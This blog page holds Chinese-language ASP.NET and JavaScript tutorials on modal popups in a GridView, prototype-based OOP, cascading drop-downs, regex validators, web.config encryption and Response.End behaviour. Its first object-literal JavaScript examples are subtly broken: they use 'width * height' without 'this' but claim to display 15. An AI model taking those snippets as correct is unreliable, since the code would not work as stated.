AJAX ModalPopup Extender in GridView Control

5 comments
在 ASP.NET 3.5 中,你可以使用 UpdatePanel 及 ScriptManager 伺服器控制項來更新局部的網頁,而不需重新載入整個網頁。當你使用 GridView 控制項搭配 UpdatePanel 控制項,對資料來源進行編輯、刪除等功能,及重新繫結資料更新頁面的記錄,就可以透過觸發 UpdatePanel 控制項來完成。

你可以啟用 GridView 控制項內建的編輯功能,讓使用者能夠編輯個別資料列的內容。但如果需要編輯的資料欄位或是內容不足以在有限的方格(Grid)中呈現時,就必須考慮其他編輯模式。這時,你可以考慮搭配 DetailsView 控制項,或是採用更進階的巢狀式應用等。不過,在這裡要介紹另一種呈現方式,就是選用 ModalPopupExtender 控制項,以強制回應的快顯對話方塊來編輯資料列的內容。本文接下來的主題將帶你瞭解如何把 ModalPopupExtender 控制項整合應用到 GridView 控制項。ModalPopupExtender 控制項是 AJAX Control Toolkit 所提供的擴充性控制項。你可以造訪這裡下載 AJAX Control Toolkit。

本範例會從 AdventureWorks 範例資料庫,使用 GridView 控制項搭配使用 FormView 控制項,建立員工資訊的主要及詳細頁面。你可以從這裡下載範例資料庫。

定義 GridView 的內容
首先,你需定義一個包含 GridView 控制項的更新面板:
<asp:UpdatePanel ID="EmployeesUpdatePanel" runat="server" UpdateMode="Conditional">
<ContentTemplate>
<asp:GridView ID="EmployeesGridView" runat="server" DataKeyNames="EmployeeID"
DataSourceID="EmployeesSqlDataSource" AutoGenerateColumns="False" AllowPaging="True">
<Columns>
<asp:BoundField DataField="FirstName" HeaderText="First Name"
SortExpression="FirstName" />
<asp:BoundField DataField="LastName" HeaderText="Last Name"
SortExpression="LastName" />
<asp:BoundField DataField="NationalIDNumber" HeaderText="ID Number"
SortExpression="NationalIDNumber" />
<asp:BoundField DataField="Gender" HeaderText="Gender"
SortExpression="Gender" ItemStyle-HorizontalAlign="Center" />
<asp:BoundField DataField="BirthDate" HeaderText="Birth Date"
SortExpression="BirthDate" DataFormatString="{0:yyyy/MM/dd}" />
<asp:BoundField DataField="MaritalStatus" HeaderText="Marital Status"
SortExpression="MaritalStatus" ItemStyle-HorizontalAlign="Center" />
<asp:TemplateField>
<ItemTemplate>
<a href="javascript:showModalPopup(<%# Eval("EmployeeID")%>);">Edit</a>
</ItemTemplate>
</asp:TemplateField>
</Columns>
</asp:GridView>
</ContentTemplate>
</asp:UpdatePanel>

上例中,在 GridView 控制項的資料行中加入樣板欄位,並在其 ItemTemplate 標籤中,加入一個編輯連結用來呼叫 JavaScript 函式,以顯示快顯對話方塊。


定義快顯對話方塊的內容
接下來,就是定義包含強制回應快顯對話方塊內容的面板:
<asp:Panel id="ModalPopupPanel" runat="server" Style="display: none" CssClass="modalPopup">
<asp:UpdatePanel ID="ModalPopupUpdatePanel" runat="server" UpdateMode="Conditional"
ChildrenAsTriggers="False">
<ContentTemplate>
<asp:UpdateProgress ID="ModalPopupUpdateProgress" runat="server"
AssociatedUpdatePanelID="ModalPopupUpdatePanel">
<ProgressTemplate>
<div>Loading ...</div>
</ProgressTemplate>
</asp:UpdateProgress>
<asp:FormView ID="EmployeeFormView" runat="server" DefaultMode="Edit"
DataKeyNames="EmployeeID" DataSourceID="EmployeeDetailsSqlDataSource"
OnItemUpdated="EmployeeFormView_ItemUpdated">
<EditItemTemplate>
<table>
<tr>
<td>First Name:</td>
<td>
<asp:Label ID="FirstNameLabel" runat="server"
Text='<%# Eval("FirstName") %>' />
</td>
</tr>
<tr>
<td>Last Name:</td>
<td>
<asp:Label ID="LastNameLabel" runat="server"
Text='<%# Eval("LastName") %>' />
</td>
</tr>
<tr>
<td>ID Number:</td>
<td>
<asp:TextBox ID="NationalIDNumberTextBox" runat="server"
Text='<%# Bind("NationalIDNumber") %>' />
</td>
</tr>
<tr>
<td>Gender:</td>
<td>
<asp:DropDownList ID="GenderDropDownList" runat="server"
SelectedValue='<%# Bind("Gender") %>'>
<asp:ListItem Value="M">Male</asp:ListItem>
<asp:ListItem Value="F">Female</asp:ListItem>
</asp:DropDownList>
</td>
</tr>
<tr>
<td>Birth Date:</td>
<td>
<asp:TextBox ID="BirthDateTextBox" runat="server"
Text='<%# Bind("BirthDate","{0:yyyy/MM/dd}") %>' />
</td>
</tr>
<tr>
<td>Marital Status:</td>
<td>
<asp:DropDownList ID="MaritalStatusDropDownList" runat="server"
SelectedValue='<%# Bind("MaritalStatus") %>'>
<asp:ListItem Value="M">Married</asp:ListItem>
<asp:ListItem Value="S">Single</asp:ListItem>
</asp:DropDownList>
</td>
</tr>
</table>
<asp:Button ID="HiddenUpdateButton" runat="server" CommandName="Update"
style="display: none" />
</EditItemTemplate>
</asp:FormView>
<asp:HiddenField ID="EmployeeIDHiddenField" runat="server"
OnValueChanged="EmployeeIDHiddenField_ValueChanged" />
<asp:Label ID="UpdatePanelMessage" runat="server" />
</ContentTemplate>
</asp:UpdatePanel>
<div style="text-align: center">
<asp:Button id="OkButton" runat="server" Text="確 定" CommandName="Update"></asp:Button>
<asp:Button id="CancelButton" runat="server" Text="取 消"></asp:Button>
</div>
</asp:Panel>

在面板中,我們加入了包含 FormView 控制項的 UpdatePanel 控制項,並在 FormView 控制項的編輯樣板中,加入隱藏的更新按鈕,這個按鈕將會透過 JavaScript 觸發 UpdatePanel 控制項的更新動作,並透過 FormView 控制項所搭配的 SqlDataSource 控制項來執行員工資料的更新。因為在 ModalPopupUpdatePanel 更新面板中的 ChildrenAsTriggers 屬性被設為 False,所以必須明確呼叫 Update 方法,才能更新面板的內容:
protected void EmployeeFormView_ItemUpdated(object sender, EventArgs e)
{
EmployeesGridView.DataBind();
EmployeesUpdatePanel.Update();
}

而 OkButton 及 CancelButton 按鈕則分別用來定義快顯對話盒中,「確定」及「取消」動作的目標控制項。另外,在 UpdatePanel 控制項中的還加入了隱藏欄位 EmployeeIDHiddenField,用來記錄在 GridView 控制項中被選取員工的主索引鍵值,並加入其 ValueChanged 事件的處理常式:
protected void EmployeeIDHiddenField_ValueChanged(object sender, EventArgs e)
{
ModalPopupUpdatePanel.Update();
}

這個隱藏欄位將透過 JavaScript 來觸發 UpdatePanel 控制項,以載入 FormView 控制項的繫結資料。

加入 ModalPopupExtender 控制項
<asp:Button runat="server" ID="HiddenTargetControlForModalPopup" style="display:none" />
<ajaxToolkit:ModalPopupExtender ID="ModalPopupExtender1" runat="server"
TargetControlID="HiddenTargetControlForModalPopup"
PopupControlID="ModalPopupPanel"
BackgroundCssClass="modalBackground"
DropShadow="true"
OnOkScript="onOk()"
OkControlID="OkButton"
CancelControlID="CancelButton"
/>

加入用戶端程式碼
<script type="text/javascript" language="javascript">
<!--
function onOk() {
__doPostBack('<%= string.Format("{0}$HiddenUpdateButton", EmployeeFormView.UniqueID) %>','');
}

function showModalPopup(v)
{
var modalPopupBehavior = $find('<%= ModalPopupExtender1.ClientID %>');
modalPopupBehavior.show();
var hiddenField = $get('<%= EmployeeIDHiddenField.ClientID %>');
if (hiddenField) {
hiddenField.value = v;
__doPostBack('<%= EmployeeIDHiddenField.UniqueID %>','');
}
}
//-->
</script>

上例中,你會發現在程式碼是使用 $find 函式來取得 ModalPopup 行為類別(Behavior)執行個體的參照。這與 $get 函式又有什麼不同呢?在 Microsoft Ajax Library 中,$get 函式是 Sys.UI.DomElement.getElementById 方法的別名,用來取得 DOM 元素的參照;而 $find 函式則是 Sys.Application.findComponent 方法的別名,它會傳回 Ajax Client Component 執行個體的參照。因為 ModalPopup 亦是 Sys.Component,所以你必須使用 $find 函式才能取得 ModalPopup Behavior 執行個體的參照。但為何又稱 ModalPopup 是行為類別呢?那是因為 ModalPopup 是繼承自 Sys.UI.Behavior 類別的 Component。想瞭解更多有關於 ASP.NET AJAX Client 的相關資訊,可以參考這裡


 Download source code - 430 KB

繼續閱讀...

認識 JavaScript 的物件導向技術

1 comments
如果要說 JavaScript全世界被誤解最深的程式語言,其實一點也不為過。長久以來,它的名稱讓許多人誤以為是 Java 的子集合。當初 JavaScript 是以作為給非程式人員的腳本語言為訴求,所以學習門檻低,很容易就能上手。正因為如此,它也讓許多人停留在粗糙、簡單的既定印象,即便到現在已經進化成一個物件導向程式語言(Object-Oriented Programming Language, OOPL)。

現在,物件導向程式設計(OOP)是已普遍被應用到許多 JavaScript 程式庫(如 AJAX Library)。如果,你要使用這些程式庫,你就有必要深入理解 JavaScript 語言的概念,才能靈活運用它來應付更複雜的 Web 應用程式。

然而 JavaScript 對 OOP 的支援方式,卻與其他以類別為基礎(Class-Based)的物件導向語言大相逕庭。本文接下來,將帶你初探 JavaScript 語言對 OOP 的支援能力。

物件
JavaScript 物件是索引鍵和值配對(Name-Value Pair)的集合。「名稱」的部分必須是字串,而「數值」可以是任何資料型別。它的資料結構跟 C# 中的 Dictionary 和 Hashtable 非常相近。

以下是建立物件的基本方法:
var rectangle = new Object();
rectangle.width = 5;
rectangle.height = 3;
rectangle.getArea = function() {
return width * height;
}
alert(rectangle.getArea()); // Displays "15"

以上範例程式碼同時呼叫 new 和建構函式,會建立新的 Object 物件。然後,才指派屬性及方法給物件變數,而所謂的方法,其實也只是參考到 Function 物件的屬性而已。這個範例顯示,JavaScript 物件的屬性不一定要事先宣告,你可以在任何時候加入額外的屬性。如果你把 JavaScript 物件它當成是在 Dictionary 物件,將指派屬性視同是加入索引鍵和值,應該就不難理解了。

你也可以使用 JavaScript 1.2 版本支援的物件實體語法(Object Literal),來宣告及初始化物件:
var rectangle = {
"width" : 5,
"height" : 3,
"getArea" : function() {
return width * height;
}
};
alert(rectangle.getArea()); // Displays "15"

每個屬性初始設定以逗號分隔的定義方式,與 C# 3.0 的物件初始設定式非常類似,唯一的差別在於這裡只接受字串索引鍵。

當要存取物件的屬性時,你可以使用熟悉的 "." (點)運算子來存取。
rectangle.width = 5;
var width = rectangle.width;

或者,使用 "[]" 運算子來取得及設定物件的屬性。
rectangle["width"] = 5;
var width = rectangle["width"];

當然,你也可以在任何時候移除物件的屬性:
delete rectangle["width"];
delete rectangle.height;

函數也是物件
JavaScript 函式其實就是包含可執行程式碼的 Function 物件。它被視為第一級物件(First-Class Object),這意味它可以被動態建立,儲存在變數、陣列和物件中,也能做為函式的「傳入參數」或「傳回結果」。
function add(x, y) {
return x + y;
}
alert(add(1, 2)); // Displays "3"

當你使用 function 關鍵字宣告函式,其實就是在定義一個 Function 物件。事實上,在執行時期會配置與函數同名的 Function 物件。以上面的範例來說,會建立一個名為 add 的函數物件。所以,你才可以在函數物件變數使用 "()" 運算子呼叫函式程式碼。

除了具名函數外,你也可以宣告匿名(Anonymous)函數,並傳回它的參照:
var add = function(x, y) {
return x + y;
};
alert(add(1, 2)); // Displays "3"

當然,你也可以在宣告的同時,直接呼叫匿名函數,並取得傳回值:
var result = (function(x, y) {
return x + y;
})(1, 2);
alert(result); // Displays "3"

另外,你也可以使用 Function 建構函式建立函數物件:
var add = new Function("x", "y", "return x + y;");
alert(add(1, 2)); // Displays "3"

Function 函數比較特殊,即使沒有使用 new 關鍵字也會產生相同的結果。

在匿名函式中,如果你要在函式內部遞迴呼叫自己,可以使用 arguments.callee 的屬性。當函式被呼叫時,會自動建立包含所有傳遞參數值的陣列物件,並指派給名為 arguments 的區域變數。該物件提供了一個叫做 arguments.callee 的屬性,這個屬性會指向的目前的函式,因此可以用來做遞迴呼叫:
var fso = new ActiveXObject("Scripting.FileSystemObject");
(function(folder) {
var files = new Enumerator(folder.Files);
while(!files.atEnd()) {
document.write(fso.BuildPath(folder.path, files.item().name));
files.moveNext();
}
var subfolders = new Enumerator(folder.SubFolders);
while(!subfolders.atEnd()) {
arguments.callee(subfolders.item());
subfolders.moveNext();
}
})(fso.GetFolder("d:\\"));

以上範例,使用遞迴方式列舉根目錄下的所有子目錄及檔案。

自訂物件
通常,我們所說的物件是指是類別或結構的實體。然而,JavaScript 只有建構函式,卻沒有類別。所謂的建構函式,其實就是一般的函式。最接近類別的方式,是定義如下的建構函式:
function Shape(x, y) {
this.x = x;
this.y = y;
this.getCoordinates = function(){
return "(" + this.x + " ," + this.y + ")";
}
}
var objShape = new Shape(5, 10);
alert(objShape.getCoordinates()); // Displays "(5, 10)"

上例中的 x 、y 是屬性成員,getCoordinates() 是方法成員。在這裡第一次出現尚未提過的 "this" 關鍵字,稍後會有詳細說明。請先看這行程式碼:
var objShape = new Shape(5, 10);

當你使用 "new" 運算子呼叫建構函式時,JavaScript Engine 會執行以下動作:
  • 建立新的 Object 物件。
  • 在 Shape 函式的執行環境中,將所建立的物件參考指派給 this 值。
  • 接著,將此物件的 constructor 屬性指向 Shape 函數,以及將其內部隱含的 __proto__ 屬性指向 Shape 函數物件的 prototype 屬性。
  • 然後,執行 Shape 函式內的程式碼。
  • 最後,傳回物件參考。

請記得,除了 Function 函式外,在一般情況下,只要使用 new 運算子呼叫函式,就會傳回完全初始化的 Object 物件。

JavaScript 的程式碼都是在執行環境(Execution Context)中執行,執行環境包含變數範圍鏈(Scope Chain)的資訊以及呼叫此方法的物件參照(也就是 this 值)。而可執行程式碼又分為 Global Code 、 Function Code 及 Eval Code 三種。不同種類的程式碼,會建立不同的執行環境,而 this 值需視執行環境或呼叫者而定:
  • Global Code
    任何在函式以外(不屬於函式的一部分)的程式碼。只會產生一個 Global 執行環境。這時的 this 值就會是 Global 物件(在瀏覽器中即為 window 物件)。
  • Function Code
    宣告於函式本體的程式碼。每次的函式呼叫都會建立個別的執行環境。如果函式是透過物件參考來呼叫,那麼 this 值就會被設定為該物件參考。若是使用 new 運算子呼叫函式,則 this 值會參考到新產生的 Object 物件。如果是透過函式物件的 call() 或是 apply() 方法來呼叫,則需視傳入的第一個參數而定。
  • Eval Code
    透過 eval() 函式執行的程式碼。其 this 值與所在的執行環境的 this 值相同。

原型繼承
原型物件(Prototype)是 JavaScript 用來模擬類別階層(Class Hierarchy)的中心概念物件。每個函式物件(fucntion 型別的物件)都有一個 prototype 屬性(該物件所擁有的原型物件),它可以用來加入自訂屬性及方法。所謂的原型物件,其實也是使用 Object 建構函式所建立的物件。另外,所有物件實體內部還隱含一個名為 __proto__ 的屬性,它會指向其建構函式的 prototype 屬性。當然,建構函式的 prototype 屬性參照的原型物件也隱含有 __proto__ 屬性,指向它的建構函式的原型物件,以此類推,最後追朔到最終基底原型 Object.prototype 為止。每一個物件都會繼承一整鏈的原型,這樣的鏈結關係稱之為原型鍊(Prototype Chain)。

我們都知道 Object 的原型物件擁有以下的屬性成員:
  • constructor
  • toString()
  • toLocaleString()
  • valueOf()
  • hasOwnProperty(propertyName)
  • isPrototypeOf(objectRef)
  • isPropertyEnumerable(propertyName)

當你建立自訂物件時,將繼承 Object 物件原型的所有屬性和方法。
function MyClass() {

}
var myObject = new MyClass();
alert(myObject.toString()); // Displays "[object Object]"

上例中,我們透過自訂的物件參照呼叫 toString() 方法。事實上,這個方法是來自 Object 的原型物件。那麼 JavaScrpt 是如何解析呢?當你試圖要存取物件的屬性/方法時,沒有定義在物件中,那麼 JavaScript 就會檢查該物件的原型。如果還是沒有,就會循我們前面所提到的原型鏈往上尋找,直到 Object.prototype 為止。

現在,你已暸解 JavaScript 是如何以原型鏈來模擬類別階層關係。接下來,我們就可以利用原型物件來實做衍生類別:
function Shape(x, y) {
this.x = x;
this.y = y;
}
Shape.prototype = {
getCoordinates : function() {
return "(" + this.x + " ," + this.y + ")";
}
};
function Rectangle(x, y, width, height) {
Shape.call(this, x, y);
this.width = width;
this.height = height;
}
Rectangle.prototype = new Shape();
Rectangle.prototype.getArea = function() {
return this.width * this.height;
};
var objRect = new Rectangle(100, 200, 5, 10);
alert(objRect.getCoordinates()); // Displays "(100, 200)"
alert(objRect.getArea()); // Displays "50"

在上例中,Shape 可視為基底類別(Base Class),而 Rectangle 是衍生類別(Derived Class)。其中,繼承的關鍵在於設定 Rectangle.prototype 屬性,將 Shape 物件加入 Rectangle 的原型鏈。另外,在 Rectangle 建構函式中,透過函數物件的 call() 方法,呼叫 Shape 建構式來進行初始化。

結語
為什麼要使用 OOP ?說穿了,就是為了能夠讓程式設計更接近人類的自然思維,讓程式碼易於擴充與維護。 當你使用 OOPL 撰寫程式碼時,你就已經是在 "OOP" 了。正所謂「只在此山中,雲深不知處」,差別只在於你對物件導向是否有所體認罷了。誠如 Kenming 在「不要從程式語言學習「物件導向」!」一文中提到:

因為,物件導向是一種思維,是一種哲理,是一種典範,甚至是一種生活觀,你需要綜合相當多的知識,蘊化為 "智慧",來協助你如何應付與應對軟體的 "善變",並能提供具體的解決方案。

雖然 JavaScript 對 OOP 可提供很好的支援,但對習慣類別型程式設計的人來說,或許會有很大的落差。所幸,未來 JavaScript 2.0 版本將朝向類別型語言發展。不過,在此之前如果你希望使用 JavaScript 撰寫更具彈性的物件導向程式,可以參考 MooTools 所提供的程式庫,它提供了絕佳的類別函式,讓你可以更容易撰寫類別式的 JavaScript 程式碼。

參考資料:
使用物件導向技術來建立進階 Web 應用程式
Javascript Closures

繼續閱讀...

使用 AJAX 動態載入縣市和地區

2 comments
在 Web 應用程式中,常常都需要提供可以讓使用者登錄個人資料(如姓名、聯絡電話、通訊地址)的互動式網頁。以地址輸入欄位來說,通常還會加入縣市及鄉鎮區的連動式下拉選單(Cascading Drop-Down)供使用者選擇。在 ASP.NET 中,傳統作法是使用兩個 DropDownList 控制項,並透過 AutoPostBack 的方式擷取選取項目,再動態將資料填入 DropDownList 控制項,來達到多層連動下拉選單的效果。不過,這樣的缺點是每次變更清單選取項目時,都會造成自動向伺服器發出網頁請求,增加網路傳輸量。所幸,你可以選擇 ASP.NET AJAX Control Toolkit 的 CascadingDropDown 控制項,來做為替代方案。

ASP.NET AJAX 已內建於 ASP.NET 3.5,所以只要下載 AJAX Control Toolkit 元件即可。如果是 ASP.NET 2.0 則必須先安裝 ASP.NET 2.0 AJAX Extensions 1.0,才可以使用 ASP.NET AJAX Control Toolkit。你可以造訪 ASP.NET AJAX 官方網站取得相關下載。

ASP.NET AJAX Control Toolkit 同時也提供了完整的範例程式碼,除了可以讓你快速學習外,也可以立即引用到你的 ASP.NET 開發專案。本文程式碼亦是以 CascadingDropDown 範例為基礎修改而來。接下來,將使用 ASP.NET 3.5 來說明如何使用 CascadingDropDown 控制項,並搭配 Web 服務來動態載入縣市及鄉鎮區資料項。

建立資料來源
在這裡我們使用 XML 文件來儲存縣市及鄉鎮區的資料,如以下所示:
<?xml version="1.0" encoding="utf-8" ?>
<PostCodeService>
<county name="台北市">
<town name="中正區" value="100"/>
<town name="大同區" value="103"/>
<town name="中山區" value="104"/>
<town name="松山區" value="105"/>
<town name="大安區" value="106"/>
<town name="萬華區" value="108"/>
<town name="信義區" value="110"/>
<town name="士林區" value="111"/>
<town name="北投區" value="112"/>
<town name="內湖區" value="114"/>
<town name="南港區" value="115"/>
<town name="文山區" value="116"/>
</county>
</PostCodeService>

建立 Web Service
為了讓 AJAX 用戶端指令碼能存取 Web 服務,我們必須建立 .asmx Web 服務,並且以 ScriptServiceAttribute 屬性限定 Web 服務類別。
using System;
using System.Collections.Specialized;
using System.Web;
using System.Web.Services;
using System.Xml;
using AjaxControlToolkit;

[WebService(Namespace = "http://tempuri.org/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
[System.Web.Script.Services.ScriptService]
public class PostCodeService : System.Web.Services.WebService
{
private static XmlDocument _document;
private static object _lock = new object();

public static XmlDocument Document
{
get
{
lock (_lock)
{
if (_document == null)
{
_document = new XmlDocument();
_document.Load(
HttpContext.Current.Server.MapPath("~/App_Data/PostCodeService.xml"));
}
}
return _document;
}
}

public static string[] Hierarchy
{
get { return new string[] { "county", "town" }; }
}

[WebMethod]
public CascadingDropDownNameValue[] GetDropDownContents(string knownCategoryValues,
string category)
{
StringDictionary knownCategoryValuesDictionary =
CascadingDropDown.ParseKnownCategoryValuesString(knownCategoryValues);
return CascadingDropDown.QuerySimpleCascadingDropDownDocument(
Document, Hierarchy, knownCategoryValuesDictionary, category);
}
}

以上程式碼使用 Singleton Pattern 建立 XmlDocument 物件來載入 XML 文件,並加入 lock 陳述式以確保只會產生唯一個實例(Instance)。

AJAX 用戶端網頁
<table>
<tr>
<td>縣市:</td>
<td><asp:DropDownList ID="CountyDropDownList" Width="100" runat="server" /></td>
</tr>
<tr>
<td>鄉鎮區:</td>
<td><asp:DropDownList ID="TownDropDownList" Width="100" runat="server" AutoPostBack="true"
OnSelectedIndexChanged="TownDropDownList_SelectedIndexChanged" /></td>
</tr>
<tr>
<td>郵遞區號:</td>
<td>
<asp:UpdatePanel ID="PostCodeUpdatePanel" runat="server" UpdateMode="Conditional"
RenderMode="inline">
<ContentTemplate>
<asp:TextBox ID="PostCodeTextBox" Width="100" runat="server"></asp:TextBox>
</ContentTemplate>
<Triggers>
<asp:AsyncPostBackTrigger ControlID="TownDropDownList"
EventName="SelectedIndexChanged" />
</Triggers>
</asp:UpdatePanel>
</td>
</tr>
</table>
<ajaxToolkit:CascadingDropDown ID="CountyCascadingDropDown" runat="server" TargetControlID="CountyDropDownList"
Category="county" PromptText="請選擇縣市" LoadingText="載入中..."
ServicePath="PostCodeService.asmx" ServiceMethod="GetDropDownContents" />
<ajaxToolkit:CascadingDropDown ID="TownCascadingDropDown" runat="server" TargetControlID="TownDropDownList"
Category="town" PromptText="請選擇鄉鎮區" LoadingText="載入中..."
ServicePath="PostCodeService.asmx" ServiceMethod="GetDropDownContents" ParentControlID="CountyDropDownList" />


 Download source code - 430 KB for ASP.NET 3.5

繼續閱讀...

Regular Expression Examples

0 comments
對於要做複雜的文字處理的應用程式,規則運算式(Regular Expression)提供有效率、功能強大的解決方法,是不可或缺的工具。話雖如此,要熟記規則運算式的所有技巧並不容易。為方便隨查即用,在此把自己常用的規則運算式範例作個總整理。

浮點數
^([-+]?[0-9]*\.?[0-9]+)$

下列程式碼範例會驗證輸入字串是否為有效的浮點數。
bool IsValidFloat(string inputString)
{
return Regex.IsMatch(inputString, @"^([-+]?[0-9]*\.?[0-9]+)$");
}

日期格式
^((?:19|20)\d\d)[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])$

下列程式碼範例會驗證輸入字串是否為有效的日期。
bool IsValidDate(string inputString)
{
Match m = Regex.Match(inputString,
@"^((?:19|20)\d\d)[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])$");
if (m.Success)
{
int year = int.Parse(m.Groups[1].Value);
int month = int.Parse(m.Groups[2].Value);
int day = int.Parse(m.Groups[3].Value);
if (day == 31 && (month == 4 || month == 6 || month == 9 || month == 11))
{
return false;
}
else if (day >= 30 && month == 2)
{
return false;
}
else if (month == 2 && day == 29
&& !(year % 4 == 0 && (year % 100 != 0 || year % 400 == 0)))
{
return false;
}
else
{
return true;
}
}
return false;
}

電子郵件格式
^([0-9a-z]+[-._+&])*[0-9a-z]+@([0-9a-z]+[.])+[a-z]{2,3}$

下列程式碼範例會驗證輸入字串是否為有效的電子郵件格式。
bool IsValidEmail(string inputString)
{
return Regex.IsMatch(inputString, @"^([0-9a-z]+[-._+&])*[0-9a-z]+@([0-9a-z]+[.])+[a-z]{2,3}$", RegexOptions.IgnoreCase );
}

中文字
[\u4e00-\u9fa5]

擷取 HTML 元素
<([a-z]+)\b[^>]*>(.*?)</\1>

下列程式碼範例會從輸入字串中去除 HTML 標籤。
string StripHtml(string inputString)
{
return Regex.Replace(inputString,@"</?[a-z]+\b[^>]*/?>", string.Empty, RegexOptions.IgnoreCase);
}

擷取 HTML 標籤的屬性
ATTR\s*=\s*(?:"(?<1>[^"]*)"|(?<1>\S+))

下列範例會從 HTML 格式的輸入字串中比對 img 標籤,並擷取出 src 屬性,透過替代的方式將屬性值套用到有加入 onload 屬性及指令碼的 img 標籤,以限制圖片最大寬高。
string FormatPost(string message)
{
message = Regex.Replace(message, @"<img\b*[^>]*?src\s*=\s*(?:""(?<1>[^""]*)""|'(?<1>[^\']*)')\s*/?\s*>", @"<img onload=""javascript:rmwa_img_loaded(this, 600, 200)"" src=""$1"" />", RegexOptions.IgnoreCase);
return message;
}


相關參考資源:
MSDN 規則運算式語言項目
Regular Expression Library
Regular-Expressions.info

繼續閱讀...

如何對組態區段加密

0 comments
在 ASP.NET 2.0 中,你可以用 Configuration APIs 對 web.config 中的敏感性資訊(如使用者名稱、密碼、連線字串和加密金鑰等)進行加密保護,以提升應用程式的安全性。不過,你可以使用更簡單的 Aspnet_regiis.exe 工具來完成加密處理。當要求網頁時,ASP.NET 會自行將加密的組態資訊解密,讓應用程式使用。所以,你不需要撰寫額外的程式碼來讀取加密過的組態資訊。

接下來,將以 connectionStrings 區段為例,提供逐步指引來說明如何使用 Aspnet_regiis.exe 加密組態資訊。

  1. 先將 ASP.NET 應用程式檔案部署到 Web 實際執行伺服器(Production Server)。
  2. 在 IIS 中建立 ASP.NET 網站:
    1. 打開 IIS 管理主控台。
    2. 展開本機電腦節點,接著展開 [網站],建立新的網站。
    3. 點選 [ASP.NET] 頁簽,將 ASP.NET 版本設為 2.0.*。若無該頁簽,則到 [主目錄] 頁簽,按下 [設定] 按鈕,在 [對應] 索引標籤上,將 ASP.NET 相關應用程式副檔名對應的應用程式指向 %WINDIR%\Microsoft.NET\Framework\v2.0.*\aspnet_isapi.dll。
  3. 建立 RSA 金鑰容器(Key Container):
    1. 打開 Web 應用程式根目錄的 web.config,修改成實際執行的連線字串。
    2. 在 [執行] 對話方塊中的 [開啟] 方塊中,鍵入 cmd,然後按下 [確定] 。
    3. 建立名為 NetFrameworkConfigurationKey 的電腦層級 RSA 金鑰容器,請在命令提示字元中執行下列命令:
      %WINDIR%\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pc "NetFrameworkConfigurationKey" -exp
    4. 授予 ASP.NET 使用者識別(在 Windows Server 2003 的電腦上,預設為 NETWORK SERVICE 帳戶)能讀取這個金鑰容器的權限,請執行下列命令:
      C:\WINDOWS\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pa "NetFrameworkConfigurationKey" "NT AUTHORITY\NETWORK SERVICE"
  4. 加密 connectionStrings 區段:
    1. 請在命令提示字元中執行下列命令:
      C:\WINDOWS\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pef connectionStrings %路徑%
    2. 如果需要修改連線字串,可以用如下的指令解密:
      C:\WINDOWS\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pdf connectionStrings %路徑%

參考資料:
逐步解說:使用受保護的組態加密組態資訊 by Microsoft
逐步解說:建立和匯出 RSA 金鑰容器 by Microsoft

繼續閱讀...

Response.End() Exceptions in ASP.NET

1 comments
如果你在 ASP.NET 使用 Response.End 時,就會發生ThreadAbortException 例外狀況。舉例來說,當你在 try - catch 陳述式中,呼叫 Response.End 時,就會引發例外狀況:「System.Threading.ThreadAbortException: 執行緒已經中止」。

其實,當你使用 Response.End 方法時,會因為內部呼叫 Thread.Abort() 而引發 ThreadAbortException 的例外,停止網頁的執行,略過 Response.End 以下的程式碼,並將緩衝輸出的資料傳送到用戶端,然後才直接觸發 HTTP 管線(HTTP Pipelines)的執行鏈結裡的最後一個事件,也就是 HttpApplication.EndRequest 事件。而使用 Response.Redirect 或是 Server.Transfer 也會發生這種例外,因為這兩個方法都會在內部呼叫 Response.End 方法。

解決方案
當了解事實真相後,問題就已不再是"問題"了,而是端看你如何正確的應用。事實上,你無須介入處理 Response.End 所引發的例外狀況,也就是不要把 Response.End 放在 try 區塊中,況且使用 try - catch 陳述式也會比較消耗系統資源,應該斟酌使用。想了解更多例外狀況有關的效能問題,可以參考這裡這裡

如果你需要在執行 Response.End、Response.Redirect 或 Server.Transfer 方法之後,仍能繼續執行程式碼,可使用下列作法:
  • 使用 HttpContext.Current.ApplicationInstance.CompleteRequest 方法取代 Response.End 。
  • 對於 Response.Redirect(url),使用 Response.Redirect(url, false),要求不要結束目前網頁的執行,也就是呼叫 Response.End 方法。
  • 使用 Server.Execute 方法代替 Server.Transfer。

HttpApplication.CompleteRequest 跟 Response.End 有何不同呢?
對於 HttpApplication.CompleteRequest 的用途,在 MSDN 文件所得到的解釋如下:
造成 ASP.NET 略過 HTTP 管線的執行鏈結裡的所有事件和篩選,並且直接執行 EndRequest 事件。
事實上,如果你是在網頁的 Page_Load 事件處理常式中執行 HttpApplication.CompleteRequest 的話,ASP.NET 仍會處理完 PostBack 所引發的事件,然後才略過其他事件而直接執行 Application_EndRequest 事件。但同樣的狀況,若是改用 Response.End,就會直接結束目前網頁執行,而無法處理 PostBack 所引發的事件。想了解更多關於應用程式與網頁的事件觸發順序,可以參考這裡

參考文章:
PRB: ThreadAbortException Occurs If You Use Response.End, Response.Redirect, or Server.Transfer by Microsoft
Response.Redirect(url) ThreadAbortException Solution by John S. Reid

繼續閱讀...

Open Source E-Commerce Software Resources

3 comments
最近正著手電子商務網站的建置計畫,事先蒐集許多相關的參考資源,發現有許多免費且開放原始碼(Open Source)的電子商務軟體,而且許多已發展相當成熟。在開放原始碼基礎上,開發人員可以在短時間內做出符合企業的電子商務網站,大幅降低開發成本。在這裡,我整理了近期蒐集的開放原始碼電子商務軟體的相關資訊,有興趣的朋友不妨參考看看。

osCommerce
osCommerce 是一套使用 PHP 撰寫的網路購物系統平台。採用模組化系統設計,讓你可以按照實際的需要來加掛不同的模組,建置自己專屬的購物網站。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.oscommerce.com/
中文社群網站: http://osc.kmd.com.tw/
展示網站: http://demo.oscommerce.com/
原始碼下載: http://www.oscommerce.com/solutions/downloads

xt:Commerce
xt:Commerce 是延伸 osCommerce 的基礎架構,所發展的電子商務系統。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.xt-commerce.com/
展示網站: http://www.xtc-demo.de/index.php/language/tw

TWE-Commerce
